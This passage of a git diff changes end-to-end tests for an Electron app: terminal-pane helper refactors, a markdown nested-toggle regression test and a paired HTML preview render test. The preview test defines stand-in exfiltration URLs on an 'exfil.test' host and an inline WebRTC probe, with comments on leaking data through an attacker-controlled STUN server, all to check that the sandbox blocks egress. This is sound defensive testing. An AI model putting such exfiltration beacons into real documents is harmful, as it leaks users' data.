-      // PaneManager directly still exercises the real split/layout/PTY path
-      // without depending on window-focus timing.
-      manager.splitPane(activePane.id, direction)
-    },
-    { tabId, direction }
-  )
+  return splitActiveTerminalPaneImpl(page, direction)
 }
 
-export async function closeActiveTerminalPane(page: Page): Promise<void> {
-  const tabId = await resolveActiveTabId(page)
-  if (!tabId) {
-    throw new Error('closeActiveTerminalPane: no active terminal tab')
-  }
-  await page.evaluate((tabId) => {
-    const paneManagers = window.__paneManagers
-    if (!paneManagers) {
-      throw new Error('closeActiveTerminalPane: terminal store/manager unavailable')
-    }
-
-    const manager = paneManagers.get(tabId)
-    const panes = manager?.getPanes?.() ?? []
-    if (!manager?.closePane || panes.length < 2) {
-      return
-    }
-
-    const activePane = manager.getActivePane?.() ?? panes[0]
-    if (!activePane) {
-      return
-    }
-
-    manager.closePane(activePane.id)
-  }, tabId)
+export function closeActiveTerminalPane(page: Page): Promise<void> {
+  return closeActiveTerminalPaneImpl(page)
 }
 
-export async function focusLastTerminalPane(page: Page): Promise<void> {
-  const tabId = await resolveActiveTabId(page)
-  if (!tabId) {
-    throw new Error('focusLastTerminalPane: no active terminal tab')
-  }
-  await page.evaluate((tabId) => {
-    const paneManagers = window.__paneManagers
-    if (!paneManagers) {
-      throw new Error('focusLastTerminalPane: terminal store/manager unavailable')
-    }
-
-    const manager = paneManagers.get(tabId)
-    const panes = manager?.getPanes?.() ?? []
-    const lastPane = panes.at(-1) ?? null
-    if (!manager?.setActivePane || !lastPane) {
-      throw new Error('focusLastTerminalPane: active pane manager not ready')
-    }
-
-    manager.setActivePane(lastPane.id, { focus: true })
-  }, tabId)
+export function focusLastTerminalPane(page: Page): Promise<void> {
+  return focusLastTerminalPaneImpl(page)
 }
 
-// Why: hidden-window E2E mode keeps DOM visibility signals false. The pane
-// manager tracks the authoritative active split layout independently of CSS.
-export async function countVisibleTerminalPanes(page: Page): Promise<number> {
-  const tabId = await resolveActiveTabId(page)
-  if (!tabId) {
-    return 0
-  }
-  return page.evaluate((tabId) => {
-    const managerCount = window.__paneManagers?.get(tabId)?.getPanes?.().length ?? 0
-    if (managerCount > 0) {
-      return managerCount
-    }
-
-    const layout = window.__store?.getState().terminalLayoutsByTabId[tabId]
-    if (!layout) {
-      return 0
-    }
-
-    // Why: `root: null` means the default single-pane tab (no splits yet).
-    type N = { type: 'leaf' } | { type: 'split'; first: N | null; second: N | null } | null
-    const countLeaves = (node: N): number => {
-      if (!node || node.type === 'leaf') {
-        return 1
-      }
-      return countLeaves(node.first) + countLeaves(node.second)
-    }
-    return countLeaves(layout.root as N)
-  }, tabId)
+export function countVisibleTerminalPanes(page: Page): Promise<number> {
+  return countVisibleTerminalPanesImpl(page)
 }
 
-export async function waitForTerminalOutput(
+export function waitForTerminalOutput(
   page: Page,
   expected: string,
   timeoutMs = 10_000,
   charLimit = 4000
 ): Promise<void> {
-  await expect
-    .poll(async () => (await getTerminalContent(page, charLimit)).includes(expected), {
-      timeout: timeoutMs,
-      message: `Terminal did not contain "${expected}"`
-    })
-    .toBe(true)
+  return waitForTerminalOutputImpl(page, expected, timeoutMs, charLimit)
 }
 
-export async function waitForPaneCount(
+export function waitForPaneCount(
   page: Page,
   expectedCount: number,
   timeoutMs = 10_000
 ): Promise<void> {
-  await expect
-    .poll(async () => countVisibleTerminalPanes(page), {
-      timeout: timeoutMs,
-      message: `Expected ${expectedCount} visible terminal panes`
-    })
-    .toBe(expectedCount)
+  return waitForPaneCountImpl(page, expectedCount, timeoutMs)
 }
diff --git a/tests/e2e/markdown-nested-toggle.spec.ts b/tests/e2e/markdown-nested-toggle.spec.ts
new file mode 100644
index 00000000000..537e6b65775
--- /dev/null
+++ b/tests/e2e/markdown-nested-toggle.spec.ts
@@ -0,0 +1,113 @@
+import { readFileSync } from 'node:fs'
+import { test, expect } from './helpers/orca-app'
+import {
+  cleanupMarkdownFixture,
+  closeActiveEditorTab,
+  createMarkdownFixture,
+  getActiveWorktreeContext,
+  openMarkdownFixture,
+  waitForRichMarkdownEditor
+} from './helpers/markdown-editor-fixture'
+import {
+  expectEditableNestedToggles,
+  expectFileKeepsNesting,
+  expectPassthroughFallback,
+  expectSentinelInsideNestedToggle,
+  NESTED_TOGGLE_FIXTURE_DIRECTORY,
+  NESTED_TOGGLE_MARKDOWN,
+  placeCaretInNestedToggleBody,
+  UNSUPPORTED_NESTED_TOGGLE_MARKDOWN
+} from './helpers/markdown-nested-toggle'
+import { waitForActiveWorktree, waitForSessionReady } from './helpers/store'
+
+test.describe('Markdown nested toggle regression', () => {
+  test.beforeEach(async ({ orcaPage }) => {
+    await waitForSessionReady(orcaPage)
+    await waitForActiveWorktree(orcaPage)
+  })
+
+  test('a nested toggle on disk reopens as editable toggles', async ({ orcaPage }, testInfo) => {
+    const context = await getActiveWorktreeContext(orcaPage)
+    let filePath: string | null = null
+
+    try {
+      filePath = await createMarkdownFixture(
+        context,
+        NESTED_TOGGLE_FIXTURE_DIRECTORY,
+        'nested-toggle-reopen',
+        testInfo.workerIndex,
+        NESTED_TOGGLE_MARKDOWN
+      )
+      await openMarkdownFixture(orcaPage, context, filePath)
+      await waitForRichMarkdownEditor(orcaPage)
+
+      await expectEditableNestedToggles(orcaPage)
+    } finally {
+      await cleanupMarkdownFixture(filePath)
+    }
+  })
+
+  test('editing a nested toggle survives save and reopen', async ({ orcaPage }, testInfo) => {
+    const context = await getActiveWorktreeContext(orcaPage)
+    const sentinel = `editedInsideNestedToggle${Date.now()}`
+    let filePath: string | null = null
+
+    try {
+      filePath = await createMarkdownFixture(
+        context,
+        NESTED_TOGGLE_FIXTURE_DIRECTORY,
+        'nested-toggle-edit',
+        testInfo.workerIndex,
+        NESTED_TOGGLE_MARKDOWN
+      )
+      await openMarkdownFixture(orcaPage, context, filePath)
+      await waitForRichMarkdownEditor(orcaPage)
+      await expectEditableNestedToggles(orcaPage)
+
+      await placeCaretInNestedToggleBody(orcaPage)
+      await orcaPage.keyboard.type(` ${sentinel}`)
+      await expectSentinelInsideNestedToggle(orcaPage, sentinel)
+
+      // Save through the real shortcut and assert the bytes that landed on disk.
+      await orcaPage.keyboard.press('ControlOrMeta+S')
+      const savedPath = filePath
+      await expect
+        .poll(() => readFileSync(savedPath, 'utf8'), { timeout: 10_000 })
+        .toContain(sentinel)
+      expectFileKeepsNesting(readFileSync(savedPath, 'utf8'), sentinel)
+
+      // The reported bug only appeared on reopen, so close the tab and parse
+      // the saved file again from scratch.
+      await closeActiveEditorTab(orcaPage, savedPath)
+      await openMarkdownFixture(orcaPage, context, savedPath)
+      await waitForRichMarkdownEditor(orcaPage)
+      await expectEditableNestedToggles(orcaPage)
+      await expectSentinelInsideNestedToggle(orcaPage, sentinel)
+    } finally {
+      await cleanupMarkdownFixture(filePath)
+    }
+  })
+
+  test('a nested toggle that cannot be represented stays raw passthrough', async ({
+    orcaPage
+  }, testInfo) => {
+    const context = await getActiveWorktreeContext(orcaPage)
+    let filePath: string | null = null
+
+    try {
+      filePath = await createMarkdownFixture(
+        context,
+        NESTED_TOGGLE_FIXTURE_DIRECTORY,
+        'nested-toggle-unsupported',
+        testInfo.workerIndex,
+        UNSUPPORTED_NESTED_TOGGLE_MARKDOWN
+      )
+      await openMarkdownFixture(orcaPage, context, filePath)
+      await waitForRichMarkdownEditor(orcaPage)
+
+      await expectPassthroughFallback(orcaPage)
+    } finally {
+      await cleanupMarkdownFixture(filePath)
+    }
+  })
+})
diff --git a/tests/e2e/paired-remote-html-browser-focus.spec.ts b/tests/e2e/paired-remote-html-browser-focus.spec.ts
deleted file mode 100644
index b6cc3f077ff..00000000000
--- a/tests/e2e/paired-remote-html-browser-focus.spec.ts
+++ /dev/null
@@ -1,459 +0,0 @@
-import { writeFileSync } from 'node:fs'
-import path from 'node:path'
-import { expect, test } from './helpers/orca-app'
-import { openFileExplorer } from './helpers/file-explorer'
-import {
-  createRuntimeDesktopPairingOffer,
-  launchPairedElectronClient,
-  type PairedElectronClient
-} from './helpers/paired-electron-client'
-import {
-  armPairedHtmlPreviewCreationObservation,
-  armPairedHtmlPreviewInventoryRpcFailure,
-  readPairedHtmlPreviewInventory,
-  type PairedHtmlPreviewInventory,
-  waitForPairedHtmlPreviewCreationSettlement
-} from './helpers/paired-html-preview-inventory'
-import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store'
-
-const FIXTURE_NAME = 'paired-html-focus.html'
-
-test('keeps remote HTML preview placement and focuses it only after a click', async ({
-  orcaPage,
-  testRepoPath
-}, testInfo) => {
-  test.setTimeout(240_000)
-  writeFileSync(
-    path.join(testRepoPath, FIXTURE_NAME),
-    '<!doctype html><html><body><h1>paired html focus</h1></body></html>\n'
-  )
-  await waitForSessionReady(orcaPage)
-  await waitForActiveWorktree(orcaPage)
-  await ensureTerminalVisible(orcaPage)
-
-  const offer = await createRuntimeDesktopPairingOffer(orcaPage)
-  let client: PairedElectronClient | null = null
-  try {
-    client = await launchPairedElectronClient(offer, testInfo, 'Remote HTML focus')
-    const page = client.page
-    const worktreeId = await expect
-      .poll(
-        () =>
-          page.evaluate((repoPath) => {
-            const state = window.__store?.getState()
-            return state
-              ? (state.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null)
-              : null
-          }, testRepoPath),
-        { timeout: 60_000, message: 'paired client never received the host worktree' }
-      )
-      .not.toBeNull()
-      .then(() =>
-        page.evaluate((repoPath) => {
-          const state = window.__store?.getState()
-          return state?.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null
-        }, testRepoPath)
-      )
-    if (!worktreeId) {
-      throw new Error('paired client worktree disappeared after discovery')
-    }
-    await page.evaluate(
-      ({ environmentId, worktreeId }) => {
-        window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`)
-      },
-      { environmentId: client.environmentId, worktreeId }
-    )
-    await openFileExplorer(page)
-    const fixtureRow = page.locator('[data-file-explorer-row]').filter({ hasText: FIXTURE_NAME })
-    await expect(fixtureRow).toBeVisible({ timeout: 30_000 })
-    await fixtureRow.click()
-    const openPreviewToSide = page.getByRole('button', { name: 'Open Preview to the Side' })
-    await expect(openPreviewToSide).toBeVisible({ timeout: 30_000 })
-    const sourceEditor = await page.evaluate((targetWorktreeId) => {
-      const state = window.__store?.getState()
-      const groupId = state?.activeGroupIdByWorktree[targetWorktreeId]
-      const group = (state?.groupsByWorktree[targetWorktreeId] ?? []).find(
-        (candidate) => candidate.id === groupId
-      )
-      const tab = (state?.unifiedTabsByWorktree[targetWorktreeId] ?? []).find(
-        (candidate) => candidate.id === group?.activeTabId && candidate.contentType === 'editor'
-      )
-      return groupId && tab ? { groupId, tabId: tab.id } : null
-    }, worktreeId)
-    if (!sourceEditor) {
-      throw new Error('paired client editor had no source identity before side preview')
-    }
-    const sourceGroupId = sourceEditor.groupId
-    let browserBaseline: PairedHtmlPreviewInventory | null = null
-    await expect
-      .poll(
-        async () => {
-          browserBaseline = await readPairedHtmlPreviewInventory(page, {
-            environmentId: client!.environmentId,
-            fixtureName: FIXTURE_NAME,
-            worktreeId
-          })
-          return browserBaseline
-        },
-        { timeout: 30_000, message: 'host browser baseline was never successfully observed' }
-      )
-      .toMatchObject({ hostResponseError: null, hostResponseOk: true })
-    if (!browserBaseline?.hostResponseOk) {
-      throw new Error(`host browser baseline failed: ${browserBaseline.hostResponseError}`)
-    }
-    await armPairedHtmlPreviewCreationObservation(page)
-    await openPreviewToSide.click()
-    await waitForPairedHtmlPreviewCreationSettlement(page)
-
-    await expect
-      .poll(
-        () =>
-          page.evaluate(
-            async ({ environmentId, fixtureName, worktreeId }) => {
-              const state = window.__store?.getState()
-              if (!state) {
-                return null
-              }
-              const browser = (state.browserTabsByWorktree[worktreeId] ?? []).find((tab) =>
-                tab.url.endsWith(`/${fixtureName}`)
-              )
-              const browserPage = browser
-                ? (state.browserPagesByWorkspace[browser.id] ?? [])[0]
-                : null
-              const handle = browserPage
-                ? state.remoteBrowserPageHandlesByPageId[browserPage.id]
-                : null
-              const response = await window.api.runtimeEnvironments.call({
-                selector: environmentId,
-                method: 'session.tabs.list',
-                params: { worktree: `id:${worktreeId}` },
-                timeoutMs: 15_000
-              })
-              const hostHasHtml =
-                response.ok &&
-                response.result.tabs.some(
-                  (tab) => tab.type === 'browser' && tab.url.endsWith(`/${fixtureName}`)
-                )
-              return {
-                browserRuntimeEnvironmentId: browserPage?.browserRuntimeEnvironmentId ?? null,
-                handleEnvironmentId: handle?.environmentId ?? null,
-                handleRemotePageId: handle?.remotePageId ?? null,
-                hostHasHtml
-              }
-            },
-            { environmentId: client!.environmentId, fixtureName: FIXTURE_NAME, worktreeId }
-          ),
-        { timeout: 60_000, message: 'remote HTML browser ownership never converged' }
-      )
-      .toMatchObject({
-        browserRuntimeEnvironmentId: client.environmentId,
-        handleEnvironmentId: client.environmentId,
-        hostHasHtml: true
-      })
-    let htmlTabInventory: PairedHtmlPreviewInventory | null = null
-    let injectedInventoryErrorObserved = false
-    let inventoryFailureArmed = false
-    let previousSuccessfulInventory: string | null = null
-    let stableSuccessfulSnapshots = 0
-    await expect
-      .poll(
-        async () => {
-          htmlTabInventory = await readPairedHtmlPreviewInventory(page, {
-            environmentId: client!.environmentId,
-            fixtureName: FIXTURE_NAME,
-            worktreeId
-          })
-          if (!htmlTabInventory.hostResponseOk) {
-            injectedInventoryErrorObserved ||=
-              htmlTabInventory.hostResponseError?.includes('e2e_forced_inventory_rpc_failure') ===
-              true
-            previousSuccessfulInventory = null
-            stableSuccessfulSnapshots = 0
-          } else {
-            if (!inventoryFailureArmed) {
-              await armPairedHtmlPreviewInventoryRpcFailure(page)
-              inventoryFailureArmed = true
-            }
-            const fingerprint = JSON.stringify([
-              htmlTabInventory.hostPageIds,
-              htmlTabInventory.hostTabIds,
-              htmlTabInventory.totalHost
-            ])
-            stableSuccessfulSnapshots =
-              fingerprint === previousSuccessfulInventory ? stableSuccessfulSnapshots + 1 : 1
-            previousSuccessfulInventory = fingerprint
-          }
-          return { ...htmlTabInventory, stableSuccessfulSnapshots }
-        },
-        { timeout: 60_000, message: 'host HTML inventory did not settle successfully' }
-      )
-      .toMatchObject({
-        hostResponseError: null,
-        hostResponseOk: true,
-        stableSuccessfulSnapshots: 2
-      })
-    expect(injectedInventoryErrorObserved).toBe(true)
-    if (!htmlTabInventory) {
-      throw new Error('host HTML inventory disappeared after successful settlement')
-    }
-    expect(htmlTabInventory.clientWorkspaceIds).toHaveLength(1)
-    expect(htmlTabInventory.clientUnifiedTabs).toHaveLength(1)
-    expect(htmlTabInventory.hostTabIds).toHaveLength(1)
-    expect(htmlTabInventory.clientRemotePageIds).toEqual(htmlTabInventory.hostPageIds)
-    expect(htmlTabInventory.totalClientUnified).toBe(browserBaseline.totalClientUnified + 1)
-    expect(htmlTabInventory.totalClientWorkspaces).toBe(browserBaseline.totalClientWorkspaces + 1)
-    expect(htmlTabInventory.totalHost).toBe(browserBaseline.totalHost + 1)
-    expect(htmlTabInventory.clientUnifiedTabs[0]?.groupId).not.toBe(sourceGroupId)
-    expect(
-      htmlTabInventory.hostTabGroups.some(
-        (group) => group.id === htmlTabInventory.clientUnifiedTabs[0]?.groupId
-      )
-    ).toBe(false)
-    const hostBrowserGroupId = htmlTabInventory.hostTabGroups.find((group) =>
-      group.tabOrder.includes(htmlTabInventory.hostTabIds[0]!)
-    )?.id
-    expect(hostBrowserGroupId).toBeTruthy()
-    await expect(page.locator(`[data-tab-group-body-id="${sourceGroupId}"]`)).toBeVisible()
-    await expect(
-      page.locator(`[data-tab-group-body-id="${htmlTabInventory.clientUnifiedTabs[0]!.groupId}"]`)
-    ).toBeVisible()
-    await expect(page.getByTestId('remote-browser-frame')).toBeVisible({ timeout: 60_000 })
-
-    const previewFocus = await page.evaluate(
-      ({ sourceGroupId, sourceTabId, worktreeId: targetWorktreeId }) => {
-        const state = window.__store?.getState()
-        const activeGroup = (state?.groupsByWorktree[targetWorktreeId] ?? []).find(
-          (group) => group.id === state?.activeGroupIdByWorktree[targetWorktreeId]
-        )
-        return {
-          activeGroupId: activeGroup?.id ?? null,
-          activeTabId: activeGroup?.activeTabId ?? null,
-          activeTabType: state?.activeTabTypeByWorktree[targetWorktreeId] ?? null,
-          sourceGroupId,
-          sourceTabId
-        }
-      },
-      { sourceGroupId, sourceTabId: sourceEditor.tabId, worktreeId }
-    )
-    expect(previewFocus).toEqual({
-      activeGroupId: sourceGroupId,
-      activeTabId: sourceEditor.tabId,
-      activeTabType: 'editor',
-      sourceGroupId,
-      sourceTabId: sourceEditor.tabId
-    })
-
-    const tabIds = await page.evaluate(
-      ({ fixtureName, worktreeId: targetWorktreeId }) => {
-        const state = window.__store?.getState()
-        if (!state) {
-          return null
-        }
-        const terminalId = state.tabsByWorktree[targetWorktreeId]?.[0]?.id ?? null
-        const browserId = (state.browserTabsByWorktree[targetWorktreeId] ?? []).find((tab) =>
-          tab.url.endsWith(`/${fixtureName}`)
-        )?.id
-        return terminalId && browserId ? { browserId, terminalId } : null
-      },
-      { fixtureName: FIXTURE_NAME, worktreeId }
-    )
-    if (!tabIds) {
-      throw new Error('paired client did not retain both terminal and HTML browser tabs')
-    }
-    await page.locator(`[data-tab-id="${tabIds.terminalId}"]`).click()
-    await expect
-      .poll(
-        () =>
-          page.evaluate((targetWorktreeId) => {
-            const state = window.__store?.getState()
-            return state?.activeTabTypeByWorktree[targetWorktreeId] ?? null
-          }, worktreeId),
-        { message: 'terminal tab never became active before the browser click' }
-      )
-      .toBe('terminal')
-    await expect
-      .poll(
-        () =>
-          page.evaluate(
-            async ({ environmentId, worktreeId }) => {
-              const response = await window.api.runtimeEnvironments.call({
-                selector: environmentId,
-                method: 'session.tabs.list',
-                params: { worktree: `id:${worktreeId}` },
-                timeoutMs: 15_000
-              })
-              if (!response.ok) {
-                return false
-              }
-              return (
-                response.result.tabs.find((tab) => tab.id === response.result.activeTabId)?.type ===
-                'terminal'
-              )
-            },
-            { environmentId: client.environmentId, worktreeId }
-          ),
-        { timeout: 30_000, message: 'host never accepted terminal activation' }
-      )
-      .toBe(true)
-    const hostBrowserTab = htmlTabInventory.hostTabs[0]
-    if (!hostBrowserTab?.browserPageId) {
-      throw new Error('host HTML browser tab disappeared before activation')
-    }
-    const clientRemotePageId = await page.evaluate(
-      ({ fixtureName, worktreeId }) => {
-        const state = window.__store?.getState()
-        const workspace = (state?.browserTabsByWorktree[worktreeId] ?? []).find((tab) =>
-          tab.url.endsWith(`/${fixtureName}`)
-        )
-        const browserPage = workspace
-          ? (state?.browserPagesByWorkspace[workspace.id] ?? [])[0]
-          : null
-        return browserPage
-          ? (state?.remoteBrowserPageHandlesByPageId[browserPage.id]?.remotePageId ?? null)
-          : null
-      },
-      { fixtureName: FIXTURE_NAME, worktreeId }
-    )
-    expect(clientRemotePageId).toBe(hostBrowserTab.browserPageId)
-    const content = await page.evaluate(
-      async ({ browserPageId, environmentId, worktreeId }) =>
-        window.api.runtimeEnvironments.call({
-          selector: environmentId,
-          method: 'browser.eval',
-          params: {
-            worktree: `id:${worktreeId}`,
-            page: browserPageId,
-            expression: 'document.querySelector("h1")?.textContent'
-          },
-          timeoutMs: 15_000
-        }),
-      {
-        browserPageId: hostBrowserTab.browserPageId,
-        environmentId: client.environmentId,
-        worktreeId
-      }
-    )
-    expect(content).toMatchObject({ ok: true, result: { result: 'paired html focus' } })
-    await expect
-      .poll(
-        () =>
-          page.evaluate(
-            ({ browserTabId, environmentId }) => {
-              const state = window.__store?.getState()
-              return (state?.browserPagesByWorkspace[browserTabId] ?? []).some((browserPage) => {
-                const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id]
-                return (
-                  handle?.environmentId === environmentId ||
-                  browserPage.browserRuntimeEnvironmentId === environmentId
-                )
-              })
-            },
-            { browserTabId: tabIds.browserId, environmentId: client.environmentId }
-          ),
-        { timeout: 30_000, message: 'client lost remote browser ownership before activation' }
-      )
-      .toBe(true)
-    await page.locator(`[data-tab-id="${tabIds.browserId}"]`).click()
-
-    await expect
-      .poll(
-        () =>
-          page.evaluate(
-            async ({ environmentId, fixtureName, worktreeId }) => {
-              const state = window.__store?.getState()
-              if (!state) {
-                return null
-              }
-              const response = await window.api.runtimeEnvironments.call({
-                selector: environmentId,
-                method: 'session.tabs.list',
-                params: { worktree: `id:${worktreeId}` },
-                timeoutMs: 15_000
-              })
-              const activeGroup = (state.groupsByWorktree[worktreeId] ?? []).find(
-                (group) => group.id === state.activeGroupIdByWorktree[worktreeId]
-              )
-              const activeUnified = (state.unifiedTabsByWorktree[worktreeId] ?? []).find(
-                (tab) => tab.id === activeGroup?.activeTabId
-              )
-              const hostActive = response.ok
-                ? response.result.tabs.find((tab) => tab.id === response.result.activeTabId)
-                : null
-              return {
-                activeGroupType: activeUnified?.contentType ?? null,
-                activeTabType: state.activeTabTypeByWorktree[worktreeId] ?? null,
-                hostActiveHtml:
-                  hostActive?.type === 'browser' && hostActive.url.endsWith(`/${fixtureName}`)
-              }
-            },
-            { environmentId: client!.environmentId, fixtureName: FIXTURE_NAME, worktreeId }
-          ),
-        { timeout: 30_000, message: 'browser click did not remain authoritative' }
-      )
-      .toEqual({ activeGroupType: 'browser', activeTabType: 'browser', hostActiveHtml: true })
-    await expect(page.getByTestId('remote-browser-frame')).toBeVisible()
-
-    const browserTab = page.locator(`[data-tab-id="${tabIds.browserId}"]`)
-    await browserTab.click({ button: 'right' })
-    await page.getByRole('menuitem', { name: 'Close', exact: true }).click()
-    await expect
-      .poll(
-        () =>
-          page.evaluate(
-            async ({
-              environmentId,
-              hostTabId,
-              sourceGroupId,
-              unifiedTabId,
-              workspaceId,
-              worktreeId
-            }) => {
-              const state = window.__store?.getState()
-              const response = await window.api.runtimeEnvironments.call({
-                selector: environmentId,
-                method: 'session.tabs.list',
-                params: { worktree: `id:${worktreeId}` },
-                timeoutMs: 15_000
-              })
-              return {
-                clientUnifiedPresent: (state?.unifiedTabsByWorktree[worktreeId] ?? []).some(
-                  (tab) => tab.id === unifiedTabId
-                ),
-                clientWorkspacePresent: (state?.browserTabsByWorktree[worktreeId] ?? []).some(
-                  (tab) => tab.id === workspaceId
-                ),
-                hostTabPresent: response.ok
-                  ? response.result.tabs.some((tab) => tab.id === hostTabId)
-                  : true,
-                sourceGroupPresent: (state?.groupsByWorktree[worktreeId] ?? []).some(
-                  (group) => group.id === sourceGroupId
-                )
-              }
-            },
-            {
-              environmentId: client!.environmentId,
-              hostTabId: hostBrowserTab.id,
-              sourceGroupId,
-              unifiedTabId: htmlTabInventory.clientUnifiedTabs[0]!.id,
-              workspaceId: htmlTabInventory.clientWorkspaceIds[0]!,
-              worktreeId
-            }
-          ),
-        { timeout: 30_000, message: 'remote HTML browser close did not converge cleanly' }
-      )
-      .toEqual({
-        clientUnifiedPresent: false,
-        clientWorkspacePresent: false,
-        hostTabPresent: false,
-        sourceGroupPresent: true
-      })
-    await expect(browserTab).toHaveCount(0)
-    await expect(page.locator(`[data-tab-id="${tabIds.terminalId}"]`)).toBeVisible()
-    await expect(page.locator(`[data-tab-id="${sourceEditor.tabId}"]`)).toBeVisible()
-    await expect(
-      page.locator(`[data-tab-group-body-id="${sourceGroupId}"] .monaco-editor`)
-    ).toBeVisible()
-  } finally {
-    await client?.dispose()
-  }
-})
diff --git a/tests/e2e/paired-remote-html-preview-local-render.spec.ts b/tests/e2e/paired-remote-html-preview-local-render.spec.ts
new file mode 100644
index 00000000000..a86721741dd
--- /dev/null
+++ b/tests/e2e/paired-remote-html-preview-local-render.spec.ts
@@ -0,0 +1,865 @@
+import { mkdirSync, writeFileSync } from 'node:fs'
+import path from 'node:path'
+import type { Locator, Page, TestInfo } from '@stablyai/playwright-test'
+import { expect, test } from './helpers/orca-app'
+import { openFileExplorer } from './helpers/file-explorer'
+import {
+  createRuntimeDesktopPairingOffer,
+  launchPairedElectronClient,
+  type PairedElectronClient,
+  type RuntimeDesktopPairingOffer
+} from './helpers/paired-electron-client'
+import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown'
+import { startClientHostedMarkerFixture } from './helpers/client-hosted-browser-fixture'
+import {
+  armPairedHtmlPreviewLinkRouting,
+  readDocPreviewElementCenter,
+  readDocPreviewGuestRects,
+  readDocPreviewGuestUrl,
+  readDocPreviewRenderedText,
+  readPairedHtmlPreviewInventory,
+  readPairedHtmlPreviewLinkRouting,
+  requireSingleDocWorkspace
+} from './helpers/paired-html-preview-inventory'
+import { focusPairedClientWindow } from './helpers/paired-client-window-reveal'
+import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store'
+
+const FIXTURE_NAME = 'paired-html-focus.html'
+const FIXTURE_HEADING = 'paired html preview'
+/** The document names its own tab, exactly as a URL page's `<title>` does. */
+const FIXTURE_TITLE = 'Paired Preview Document Title'
+const RESTORE_FIXTURE_NAME = 'paired-html-restore.html'
+const RESTORE_FIXTURE_HEADING = 'preview survives a relaunch'
+const RESTORE_FIXTURE_TITLE = 'Restored Preview Document'
+const EXTERNAL_LINK_URL = 'https://example.com/from-preview'
+/** Stands in for the exfiltration a previewed document would attempt on its own, with no one at the keyboard. */
+const SCRIPTED_EGRESS_URL = 'https://exfil.test/?d=scripted'
+/** The same exfiltration, but riding a press the reader really made somewhere else in the document. */
+const POST_INPUT_EGRESS_URL = 'https://exfil.test/?d=after-input'
+const BLANK_PAGE_URL = 'data:text/html,'
+const SCOPED_FIXTURE_NAME = 'scoped-preview.html'
+const SCOPED_FIXTURE_HEADING = 'scoped preview rendered'
+const SCOPED_ASSET_TEXT = 'approved sibling asset loaded'
+
+type PreparedPairedClient = {
+  client: PairedElectronClient
+  worktreeId: string
+  worktreePath: string
+}
+
+/** Pairs a fresh desktop client to the host and waits until it holds the host's worktree. */
+async function preparePairedClient(
+  offer: RuntimeDesktopPairingOffer,
+  testInfo: TestInfo,
+  name: string,
+  testRepoPath: string,
+  options: { reuseUserDataDir?: string } = {}
+): Promise<PreparedPairedClient> {
+  const client = await launchPairedElectronClient(offer, testInfo, name, options)
+  try {
+    await expect
+      .poll(() => findWorktreeId(client.page, testRepoPath), {
+        timeout: 120_000,
+        message: 'paired client never received the host worktree'
+      })
+      .not.toBeNull()
+    const worktree = await client.page.evaluate((repoPath) => {
+      const match = window.__store
+        ?.getState()
+        .allWorktrees()
+        .find((candidate) => candidate.path === repoPath)
+      return match ? { id: match.id, path: match.path } : null
+    }, testRepoPath)
+    if (!worktree) {
+      throw new Error('paired client worktree disappeared after discovery')
+    }
+    await client.page.evaluate(
+      ({ environmentId, worktreeId }) => {
+        window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`)
+      },
+      { environmentId: client.environmentId, worktreeId: worktree.id }
+    )
+    return { client, worktreeId: worktree.id, worktreePath: worktree.path }
+  } catch (error) {
+    await client.dispose()
+    throw error
+  }
+}
+
+async function findWorktreeId(page: Page, repoPath: string): Promise<string | null> {
+  return page.evaluate(
+    (candidatePath) =>
+      window.__store
+        ?.getState()
+        .allWorktrees()
+        .find((worktree) => worktree.path === candidatePath)?.id ?? null,
+    repoPath
+  )
+}
+
+/** Selects the fixture in the explorer and hands back its "Open Preview to the Side" control. */
+async function revealPreviewAction(page: Page, fixtureName: string): Promise<Locator> {
+  await openFileExplorer(page)
+  const fixtureRow = page.locator('[data-file-explorer-row]').filter({ hasText: fixtureName })
+  await expect(fixtureRow).toBeVisible({ timeout: 30_000 })
+  await fixtureRow.click()
+  const openPreviewToSide = page.getByRole('button', { name: 'Open Preview to the Side' })
+  await expect(openPreviewToSide).toBeVisible({ timeout: 30_000 })
+  return openPreviewToSide
+}
+
+/** Brings a browser workspace to the front the way clicking its tab does. */
+async function focusBrowserWorkspace(
+  page: Page,
+  worktreeId: string,
+  workspaceId: string
+): Promise<void> {
+  await page.evaluate(
+    ({ workspaceId, worktreeId }) => {
+      window.__store
+        ?.getState()
+        .focusBrowserTabInWorktree(worktreeId, workspaceId, { surfacePane: true })
+    },
+    { workspaceId, worktreeId }
+  )
+}
+
+/**
+ * Since STA-5557 a paired HTML preview is a browser page located by a workspace document, rendered
+ * on the client from the workspace's disk over the `orca-preview://` scheme. The oracle therefore
+ * splits: the client gains exactly one browser workspace — the document one, blank-URL'd and named
+ * by the document — while the host's own page registry gains nothing at all.
+ */
+test('renders a paired HTML doc as a document browser tab while the host gains no browser page', async ({
+  orcaPage,
+  testRepoPath
+}, testInfo) => {
+  test.setTimeout(300_000)
+  writeFileSync(
+    path.join(testRepoPath, FIXTURE_NAME),
+    `<!doctype html><html><head><title>${FIXTURE_TITLE}</title></head>` +
+      `<body><h1>${FIXTURE_HEADING}</h1>` +
+      `<p><a id="external" href="${EXTERNAL_LINK_URL}" target="_blank" ` +
+      `style="display:inline-block;padding:24px;font-size:24px">external link</a></p>` +
+      `<div id="link-clicks">0</div>` +
+      // Why the document counts its own presses: without it, a link that routes nothing cannot say
+      // whether the press missed the anchor or the fences refused what the press reported.
+      `<script>document.getElementById('external').addEventListener('click',()=>{` +
+      `const out=document.getElementById('link-clicks');` +
+      `out.textContent=String(Number(out.textContent)+1)},true)</script>` +
+      `<div id="webrtc-probe">pending</div>` +
+      // Why the document probes itself rather than the harness evaluating in it: `executeJavaScript`
+      // enters the guest from outside, so only an inline script measures what the document can do.
+      // Why candidates and not the constructor: this Chromium lets any document construct a peer
+      // connection, and an attacker-owned STUN URL leaks its bytes during gathering with no
+      // signaling at all. Zero candidates is the fence; a throw was never going to be one.
+      `<script>(async()=>{const out=document.getElementById('webrtc-probe');try{` +
+      `const pc=new RTCPeerConnection();const found=[];` +
+      `pc.onicecandidate=(event)=>{if(event.candidate&&event.candidate.candidate){found.push(1)}};` +
+      `pc.createDataChannel('probe');` +
